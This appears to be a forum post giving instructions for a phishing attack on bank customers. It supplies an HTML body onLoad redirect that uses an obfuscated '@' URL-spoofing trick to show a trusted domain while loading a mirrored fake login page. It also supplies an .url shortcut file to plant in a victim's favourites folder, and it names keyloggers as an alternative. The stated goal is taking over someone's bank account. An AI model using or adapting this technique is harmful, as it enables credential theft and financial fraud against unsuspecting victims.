This is actually not very useful...Yet I wrote it...whatever
That's where your wrong. Sometimes the littlest trick, can be the icing on a very big one.
Try using it in conjuction with something else.

Create an html file(c:\exploit.html) on a targets computer and insert this browser hack. Works on IE and some ver. of mozilla.
<BODY onLoad="location.href=unescape('http://www.microsoft.com%[email protected]');">
Insert FirstBank login for the first url and then mywebsite.com/hack (containing mirrored html content from the login screen) for the second one.

Next create the cute little url
[InternetShortcut]
URL=c:\exploit.html
IconIndex=1

replace the shortcut to the real url in the victims favorite folder and bingo you have somebody's bank account, or whatever. Of course it might be easier to use a keyboard logger in most cases, but it could be useful in certain situations.